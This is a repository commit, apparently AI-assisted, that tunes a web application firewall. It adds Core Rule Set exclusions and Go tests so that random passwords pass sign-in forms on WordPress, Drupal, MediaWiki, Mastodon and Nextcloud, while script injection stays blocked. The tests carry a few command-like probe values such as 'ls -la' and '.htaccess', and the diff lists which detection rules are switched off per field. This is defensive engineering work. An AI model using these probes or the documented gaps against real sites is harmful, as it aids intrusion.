Core Rule Set: random passwords pass at sign-in (closes #276)
check / check (push) Failing after 3m25s
check / check (push) Failing after 3m25s
A password manager's random password set off 35 Core Rule Set rules, about 1 in 40 refused. The password fields the app exclusions name now skip those rules on their paths: WordPress pwd, Drupal pass, MediaWiki wpPassword, lgpassword and password, Mastodon's sign-in, sign-up, password change, move and delete passwords, and Nextcloud's sign-in password. The tests draw 2,000 random passwords from a fixed seed, plus one rare password for each rule the 2,000 do not set off. Those that set off a rule in a field no exclusion names are sent to every password field. An SQL injection or a path traversal sent as a password now passes; a script injection is still refused. Model: opus-5-5
This commit is contained in:
1 parent
463a19ef2a
commit
88abecf801
12 files changed
+724
-24
No files matched your search
@@ -602,6 +602,10 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
|||||||
- Nextcloud: its sync client gets through. On Nextcloud's own paths, its
|
- Nextcloud: its sync client gets through. On Nextcloud's own paths, its
|
||||||
WebDAV methods, searches, file names, account names, comments and
|
WebDAV methods, searches, file names, account names, comments and
|
||||||
documents do too.
|
documents do too.
|
||||||
|
- A password made of any printable characters gets through these forms:
|
||||||
|
- signing in, on WordPress, Drupal, MediaWiki and Nextcloud;
|
||||||
|
- signing in, signing up, changing the password, and moving or deleting the
|
||||||
|
account, on Mastodon.
|
||||||
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
|
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
|
||||||
fields or paths.
|
fields or paths.
|
||||||
- Rule files are plain text, one rule to a line, edited by hand and read again
|
- Rule files are plain text, one rule to a line, edited by hand and read again
|
||||||
|
|||||||
@@ -919,7 +919,14 @@ The changes hold in front of every app, and no setting undoes them:
|
|||||||
- `content` of a reply to a comment sent to `admin-ajax.php`.
|
- `content` of a reply to a comment sent to `admin-ajax.php`.
|
||||||
- `newcontent` of a plugin's or a theme's file saved from its editor,
|
- `newcontent` of a plugin's or a theme's file saved from its editor,
|
||||||
which is PHP.
|
which is PHP.
|
||||||
- `pwd` when signing in, for the list of system files (930120).
|
- `pwd`, the password when signing in, for each rule that random
|
||||||
|
passwords set off (920270, 920540, 921200, 930100, 930110, 930120,
|
||||||
|
932125, 932130, 932160, 932230, 932250, 932260, 932270, 932280,
|
||||||
|
932330, 932340, 932370, 932380, 933100, 933135, 933180, 933210,
|
||||||
|
941100, 941120, 941160, 941180, 942100, 942151, 942190, 942230,
|
||||||
|
942290, 942320, 942540, 942550, 944150). An SQL injection or a path
|
||||||
|
traversal sent as the password reaches WordPress. A script injection
|
||||||
|
is still refused.
|
||||||
- `title`, `excerpt` and `name` in a JSON body sent to any REST API
|
- `title`, `excerpt` and `name` in a JSON body sent to any REST API
|
||||||
route under `/wp/v2/`, for the rules on system files and commands
|
route under `/wp/v2/`, for the rules on system files and commands
|
||||||
(930120, 932120, 932250, 932260).
|
(930120, 932120, 932250, 932260).
|
||||||
@@ -987,6 +994,13 @@ The changes hold in front of every app, and no setting undoes them:
|
|||||||
- The body and comment body on the node and comment forms and through
|
- The body and comment body on the node and comment forms and through
|
||||||
JSON:API, which hold HTML and any code it shows.
|
JSON:API, which hold HTML and any code it shows.
|
||||||
- `name` and `pass` when signing in (930120, 932120, 932250, 932260).
|
- `name` and `pass` when signing in (930120, 932120, 932250, 932260).
|
||||||
|
- `pass`, the password when signing in, in form data or JSON, for each rule
|
||||||
|
that random passwords set off (920270, 920540, 921200, 930100, 930110,
|
||||||
|
930120, 932125, 932130, 932160, 932230, 932250, 932260, 932270, 932280,
|
||||||
|
932330, 932340, 932370, 932380, 933100, 933135, 933180, 933210, 941100,
|
||||||
|
941120, 941160, 941180, 942100, 942151, 942190, 942230, 942290, 942320,
|
||||||
|
942540, 942550, 944150). An SQL injection or a path traversal sent as the
|
||||||
|
password reaches Drupal. A script injection is still refused.
|
||||||
- `name` when resetting a password through Drupal's JSON format on
|
- `name` when resetting a password through Drupal's JSON format on
|
||||||
`/user/password`, for the same four rules.
|
`/user/password`, for the same four rules.
|
||||||
- `mail` in that same reset, for 932120 and 932260 only.
|
- `mail` in that same reset, for 932120 and 932260 only.
|
||||||
@@ -1066,6 +1080,16 @@ The changes hold in front of every app, and no setting undoes them:
|
|||||||
- `wpTextbox1` on MediaWiki's pages;
|
- `wpTextbox1` on MediaWiki's pages;
|
||||||
- `text`, `appendtext` and `prependtext` on `/api.php`;
|
- `text`, `appendtext` and `prependtext` on `/api.php`;
|
||||||
- `source` in the JSON body of `/rest.php/`.
|
- `source` in the JSON body of `/rest.php/`.
|
||||||
|
- The passwords when signing in, for each rule that random passwords set off
|
||||||
|
(920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160,
|
||||||
|
932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380,
|
||||||
|
933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100,
|
||||||
|
942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150):
|
||||||
|
- `wpPassword` on MediaWiki's pages;
|
||||||
|
- `lgpassword` and `password` on `/api.php`.
|
||||||
|
|
||||||
|
An SQL injection or a path traversal sent as a password reaches
|
||||||
|
MediaWiki. A script injection is still refused.
|
||||||
|
|
||||||
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
|
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
|
||||||
applies when the query has a parameter of the same name.
|
applies when the query has a parameter of the same name.
|
||||||
@@ -1192,6 +1216,23 @@ The changes hold in front of every app, and no setting undoes them:
|
|||||||
Each name contains `.forward`, a file in a home folder. So 930120 refused
|
Each name contains `.forward`, a file in a home folder. So 930120 refused
|
||||||
every report the web app sent. The keys' values keep every rule.
|
every report the web app sent. The keys' values keep every rule.
|
||||||
|
|
||||||
|
The passwords in a body skip each rule that random passwords set off
|
||||||
|
(920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160,
|
||||||
|
932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380,
|
||||||
|
933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100,
|
||||||
|
942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150):
|
||||||
|
- on `/auth`, `/settings/migration` and `/settings/delete`, and the paths
|
||||||
|
under them:
|
||||||
|
- `user[password]`, `user[password_confirmation]` and
|
||||||
|
`user[current_password]`;
|
||||||
|
- `account_migration[current_password]` and
|
||||||
|
`form_redirect[current_password]`;
|
||||||
|
- `form_delete_confirmation[password]`;
|
||||||
|
- `password` on `/api/v1/accounts`, in form data or JSON.
|
||||||
|
|
||||||
|
An SQL injection or a path traversal sent as a password reaches Mastodon. A
|
||||||
|
script injection is still refused.
|
||||||
|
|
||||||
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
|
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
|
||||||
applies when the query has a parameter of the same name.
|
applies when the query has a parameter of the same name.
|
||||||
|
|
||||||
@@ -1324,6 +1365,15 @@ The changes hold in front of every app, and no setting undoes them:
|
|||||||
saves.
|
saves.
|
||||||
- `name` on `/remote.php/dav/systemtags/`, a new tag.
|
- `name` on `/remote.php/dav/systemtags/`, a new tag.
|
||||||
|
|
||||||
|
`password` in the body of `/login`, the password when signing in, skips each
|
||||||
|
rule that random passwords set off (920270, 920540, 921200, 930100, 930110,
|
||||||
|
930120, 932125, 932130, 932160, 932230, 932250, 932260, 932270, 932280,
|
||||||
|
932330, 932340, 932370, 932380, 933100, 933135, 933180, 933210, 941100,
|
||||||
|
941120, 941160, 941180, 942100, 942151, 942190, 942230, 942290, 942320,
|
||||||
|
942540, 942550, 944150). It applies only when the query has no `password`
|
||||||
|
parameter. An SQL injection or a path traversal sent as the password reaches
|
||||||
|
Nextcloud. A script injection is still refused.
|
||||||
|
|
||||||
Some fields hold sentences a person writes:
|
Some fields hold sentences a person writes:
|
||||||
- `note`, a share's note, on `apps/files_sharing/api/v1/shares` of the OCS
|
- `note`, a share's note, on `apps/files_sharing/api/v1/shares` of the OCS
|
||||||
API and on each share under it;
|
API and on each share under it;
|
||||||
|
|||||||
@@ -1,8 +1,10 @@
|
|||||||
package coreruleset_test
|
package coreruleset_test
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"context"
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
"fmt"
|
"fmt"
|
||||||
|
"math/rand/v2"
|
||||||
"net/http"
|
"net/http"
|
||||||
"net/http/httptest"
|
"net/http/httptest"
|
||||||
"net/netip"
|
"net/netip"
|
||||||
@@ -624,6 +626,239 @@ const passwordField = "password="
|
|||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
|
var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
|
||||||
|
|
||||||
|
// randomPassword returns a password of 20 characters, each one of the 95
|
||||||
|
// printable ASCII characters, space included, drawn from random.
|
||||||
|
func randomPassword(random *rand.Rand) string {
|
||||||
|
const length, first, count = 20, ' ', '~' - ' ' + 1
|
||||||
|
|
||||||
|
password := make([]byte, length)
|
||||||
|
for i := range password {
|
||||||
|
password[i] = byte(first + random.IntN(count))
|
||||||
|
}
|
||||||
|
|
||||||
|
return string(password)
|
||||||
|
}
|
||||||
|
|
||||||
|
// rarePasswords are random passwords from randomPasswords' seed, found among
|
||||||
|
// the first 1,000,000. Each sets off the rule named beside it, which the first
|
||||||
|
// 2,000 do not set off.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var rarePasswords = []string{
|
||||||
|
"x)g|E0f)~.um%00G]<oA", // 920270
|
||||||
|
"uC?mK\\U2fEbXA}~j7fPb", // 920540
|
||||||
|
"4;yfIDKZYNtZT)(w-=%@", // 921200
|
||||||
|
"`sAIfEVdBprjxR$/.?\\d", // 930100
|
||||||
|
"Unt@1xza,:%j$/..;5y+", // 930110
|
||||||
|
"VN.CVsu^3vbUS==4Q&Y@", // 930120
|
||||||
|
"gJ<EcT)jhZ'`GC>cX~hM", // 932125
|
||||||
|
" /\"j14y[%\\(iM]zmG%=^", // 932130
|
||||||
|
"\\f*q5v$]$IfS3JoY:*r1", // 932160
|
||||||
|
"*e#!-z{Jq)Sqwx@k:b:}", // 932230
|
||||||
|
"pErl>vR[Z7K^<f%_4,WZ", // 932260
|
||||||
|
"){2P,GU}a3mYvjq^(p1^", // 932280
|
||||||
|
"xw4UGJk!-8#ZE(`.ij.O", // 932330
|
||||||
|
" XVw(2mN5R,+%~_f\"n<?", // 933100
|
||||||
|
"0ZK1D>`RHb+RW${/(z}C", // 933135
|
||||||
|
"Ep3!qqe 7$RT(_)@SLV6", // 933180
|
||||||
|
"&:4WomDrn$\"(SE_D);Ja", // 933210
|
||||||
|
"='nlIgN7ON\\\\mWt=Tr84", // 941120
|
||||||
|
"P]/C>Ef]F-<sV,&gs.[4", // 941160
|
||||||
|
"<!--a\"9Ju}r!2=J-kZDd", // 941180
|
||||||
|
"@`].*EJ?`Cw^8\\orD!(f", // 942151
|
||||||
|
"StTj*t:IF(Uq_<aG0mya", // 942230
|
||||||
|
"t,D-oJjnvL Dn!o::Int", // 942320
|
||||||
|
"Z>\"{Z\\QDwqBQs%v}`nBu", // 942550
|
||||||
|
"`aV#3${J4,\\h.q' k\\${", // 944150
|
||||||
|
}
|
||||||
|
|
||||||
|
// randomPasswords returns 2,000 random passwords from a fixed seed, then
|
||||||
|
// rarePasswords.
|
||||||
|
func randomPasswords() []string {
|
||||||
|
const count, seed = 2000, 276
|
||||||
|
|
||||||
|
random := rand.New(rand.NewPCG(seed, seed)) //nolint:gosec // a fixed sample
|
||||||
|
|
||||||
|
passwords := make([]string, count, count+len(rarePasswords))
|
||||||
|
for i := range passwords {
|
||||||
|
passwords[i] = randomPassword(random)
|
||||||
|
}
|
||||||
|
|
||||||
|
return append(passwords, rarePasswords...)
|
||||||
|
}
|
||||||
|
|
||||||
|
// passwordBody returns a body of r's type, form data or JSON, that sends
|
||||||
|
// each of passwords in the field name. Coraza checks each value of a field
|
||||||
|
// on its own, and keeps every value of a JSON key sent more than once.
|
||||||
|
func passwordBody(t *testing.T, r request, name string, passwords ...string) string {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
if r.headers[0] != jsonBody {
|
||||||
|
return formBody(name, passwords...)
|
||||||
|
}
|
||||||
|
|
||||||
|
values := make([]string, len(passwords))
|
||||||
|
|
||||||
|
for i, password := range passwords {
|
||||||
|
pair, err := json.Marshal(map[string]string{name: password})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
values[i] = strings.Trim(string(pair), "{}")
|
||||||
|
}
|
||||||
|
|
||||||
|
return "{" + strings.Join(values, ",") + "}"
|
||||||
|
}
|
||||||
|
|
||||||
|
// formBody returns a form data body that sends each of values in the field
|
||||||
|
// name.
|
||||||
|
func formBody(name string, values ...string) string {
|
||||||
|
fields := make([]string, len(values))
|
||||||
|
for i, value := range values {
|
||||||
|
fields[i] = url.QueryEscape(name) + "=" + url.QueryEscape(value)
|
||||||
|
}
|
||||||
|
|
||||||
|
return strings.Join(fields, "&")
|
||||||
|
}
|
||||||
|
|
||||||
|
// setsOffARule reports whether body, form data sent to / as a browser
|
||||||
|
// sends it, sets off a rule in crs.
|
||||||
|
func setsOffARule(crs *coreruleset.CoreRuleSet, body string) bool {
|
||||||
|
req := httptest.NewRequestWithContext(context.Background(), http.MethodPost,
|
||||||
|
"http://git.example/", strings.NewReader(body))
|
||||||
|
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
|
||||||
|
req.Header.Set("Content-Length", strconv.Itoa(len(body)))
|
||||||
|
req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+
|
||||||
|
"Gecko/20100101 Firefox/131.0")
|
||||||
|
req.Header.Set("Accept", "text/html")
|
||||||
|
|
||||||
|
// The body is read from memory, which cannot fail.
|
||||||
|
result, _, _ := crs.Inspect(req, netip.MustParseAddr("203.0.113.9"), req.Body)
|
||||||
|
|
||||||
|
return len(result.RuleIDs) > 0
|
||||||
|
}
|
||||||
|
|
||||||
|
// findMisfiringPasswords returns those of randomPasswords that set off a
|
||||||
|
// rule in the form data field password on /, which no exclusion names, while
|
||||||
|
// bodies are read. It runs once, for every test that asks. Each body sends
|
||||||
|
// ten passwords, and a body that sets off a rule is sent again one password
|
||||||
|
// at a time.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // the tests share it
|
||||||
|
var findMisfiringPasswords = sync.OnceValues(func() ([]string, error) {
|
||||||
|
const workers, perBody = 16, 10
|
||||||
|
|
||||||
|
crs, err := loaderFor(coreruleset.Params{
|
||||||
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
||||||
|
})()
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
passwords := randomPasswords()
|
||||||
|
misfires := make([]bool, len(passwords))
|
||||||
|
|
||||||
|
var inspecting sync.WaitGroup
|
||||||
|
|
||||||
|
for worker := range workers {
|
||||||
|
inspecting.Go(func() {
|
||||||
|
for first := worker * perBody; first < len(passwords); first += workers * perBody {
|
||||||
|
last := min(first+perBody, len(passwords))
|
||||||
|
if !setsOffARule(crs, formBody("password", passwords[first:last]...)) {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
for i := first; i < last; i++ {
|
||||||
|
misfires[i] = setsOffARule(crs, formBody("password", passwords[i]))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
inspecting.Wait()
|
||||||
|
|
||||||
|
var misfiring []string
|
||||||
|
|
||||||
|
for i, password := range passwords {
|
||||||
|
if misfires[i] {
|
||||||
|
misfiring = append(misfiring, password)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return misfiring, nil
|
||||||
|
})
|
||||||
|
|
||||||
|
// misfiringPasswords returns those of randomPasswords that set off a rule in
|
||||||
|
// a field no exclusion names. The rules that misfire on a password read its
|
||||||
|
// value, not the name of its field. So the other random passwords set off no
|
||||||
|
// rule in any field.
|
||||||
|
func misfiringPasswords(t *testing.T) []string {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
misfiring, err := findMisfiringPasswords()
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("load the Core Rule Set: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, rare := range rarePasswords {
|
||||||
|
if !slices.Contains(misfiring, rare) {
|
||||||
|
t.Fatalf("%q sets off no rule in a field no exclusion names", rare)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return misfiring
|
||||||
|
}
|
||||||
|
|
||||||
|
// wantRandomPasswordsPass checks that none of randomPasswords, sent in the
|
||||||
|
// field name of r's body, is refused while bodies are read. r's Content-Type
|
||||||
|
// is form data or JSON. Only the passwords misfiringPasswords returns set off
|
||||||
|
// a rule in some field, so only they are sent, all in one body. If it is
|
||||||
|
// refused, each is sent again on its own, to name those refused.
|
||||||
|
func wantRandomPasswordsPass(t *testing.T, r request, name string) {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
|
crs := readingBodies(t)
|
||||||
|
misfiring := misfiringPasswords(t)
|
||||||
|
|
||||||
|
body := passwordBody(t, r, name, misfiring...)
|
||||||
|
if len(body) > bodyLimit {
|
||||||
|
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
|
||||||
|
}
|
||||||
|
|
||||||
|
if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, password := range misfiring {
|
||||||
|
body := passwordBody(t, r, name, password)
|
||||||
|
if got, _ := inspectBody(t, crs, r, body); got.Score >= threshold {
|
||||||
|
t.Errorf("%s %s %s %q refused: %+v", r.method, r.target, name,
|
||||||
|
password, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// wantPasswordAttacksRefused checks that each of attacks, sent as the whole
|
||||||
|
// password in the field name of r's body, is refused while bodies are read.
|
||||||
|
func wantPasswordAttacksRefused(
|
||||||
|
t *testing.T, r request, name string, attacks ...string,
|
||||||
|
) {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
|
for _, attack := range attacks {
|
||||||
|
body := passwordBody(t, r, name, attack)
|
||||||
|
if got, _ := inspectBody(t, readingBodies(t), r, body); got.Score < threshold {
|
||||||
|
t.Errorf("%s %s %s %q let through: %+v", r.method, r.target, name,
|
||||||
|
attack, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// wantRecordedRequestsPass checks that none of the recorded ordinary
|
// wantRecordedRequestsPass checks that none of the recorded ordinary
|
||||||
// requests in the file name in testdata is refused, at the defaults and
|
// requests in the file name in testdata is refused, at the defaults and
|
||||||
// while bodies are read. A request with neither a body nor a Content-Type
|
// while bodies are read. A request with neither a body nor a Content-Type
|
||||||
@@ -1348,6 +1583,17 @@ func TestWordPressBodyNamesAndAddressesAreExcludedOnlyThere(t *testing.T) {
|
|||||||
wantBody(t, crs, comment, "url=ls+-la", matched(932250), "url=ls+-la")
|
wantBody(t, crs, comment, "url=ls+-la", matched(932250), "url=ls+-la")
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestWordPressPasswordsPass(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
signIn := request{http.MethodPost, wpLogin, []string{formData}}
|
||||||
|
|
||||||
|
wantRandomPasswordsPass(t, signIn, "pwd")
|
||||||
|
|
||||||
|
// No rule pwd keeps catches the SQL injection or the path traversal.
|
||||||
|
wantPasswordAttacksRefused(t, signIn, "pwd", scriptTag)
|
||||||
|
}
|
||||||
|
|
||||||
func TestWordPressExclusionsAreNarrow(t *testing.T) {
|
func TestWordPressExclusionsAreNarrow(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
|
|||||||
@@ -184,6 +184,46 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/login$" \
|
|||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:name|pass)$/,\
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:name|pass)$/,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:name|pass)$/"
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:name|pass)$/"
|
||||||
|
|
||||||
|
# The password, pass, skips each rule that random passwords set off.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/login$" \
|
||||||
|
"id:900819,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^(?:json\.)?pass$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?pass$/"
|
||||||
|
|
||||||
# A person's name and email address, when signing up, when editing an
|
# A person's name and email address, when signing up, when editing an
|
||||||
# account and when commenting without an account. A name of python3 refused
|
# account and when commenting without an account. A name of python3 refused
|
||||||
# signing up, and python3@example.com refused saving an account. An address
|
# signing up, and python3@example.com refused saving an account. An address
|
||||||
|
|||||||
@@ -109,7 +109,6 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
|||||||
{reply, "comment_body%5B0%5D%5Bvalue%5D=" + attack},
|
{reply, "comment_body%5B0%5D%5Bvalue%5D=" + attack},
|
||||||
{reply, "subject%5B0%5D%5Bvalue%5D=" + attack},
|
{reply, "subject%5B0%5D%5Bvalue%5D=" + attack},
|
||||||
{reply, drupalName + attack},
|
{reply, drupalName + attack},
|
||||||
{drupalSignIn, "pass=" + attack},
|
|
||||||
{drupalSignIn, drupalName + attack},
|
{drupalSignIn, drupalName + attack},
|
||||||
{"/fr/user/login", drupalName + attack},
|
{"/fr/user/login", drupalName + attack},
|
||||||
{"/user/register", drupalName + attack},
|
{"/user/register", drupalName + attack},
|
||||||
@@ -172,6 +171,25 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestDrupalPasswordPasses(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
for _, r := range []request{
|
||||||
|
{http.MethodPost, drupalSignIn, []string{formData}},
|
||||||
|
{http.MethodPost, drupalJSONSignIn, []string{jsonBody}},
|
||||||
|
} {
|
||||||
|
t.Run(r.target, func(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
wantRandomPasswordsPass(t, r, "pass")
|
||||||
|
|
||||||
|
// No rule pass keeps catches the SQL injection or the path
|
||||||
|
// traversal.
|
||||||
|
wantPasswordAttacksRefused(t, r, "pass", scriptTag)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
|
func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
|
|||||||
@@ -176,6 +176,85 @@ SecRule REQUEST_FILENAME "@streq /api/v1/accounts" \
|
|||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:password|reason)$/,\
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:password|reason)$/,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:password|reason)$/"
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:password|reason)$/"
|
||||||
|
|
||||||
|
# The passwords named above skip each rule that random passwords set off.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/(?:settings/(?:migration|delete)|auth)(?:/|$)" \
|
||||||
|
"id:900965,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||||
|
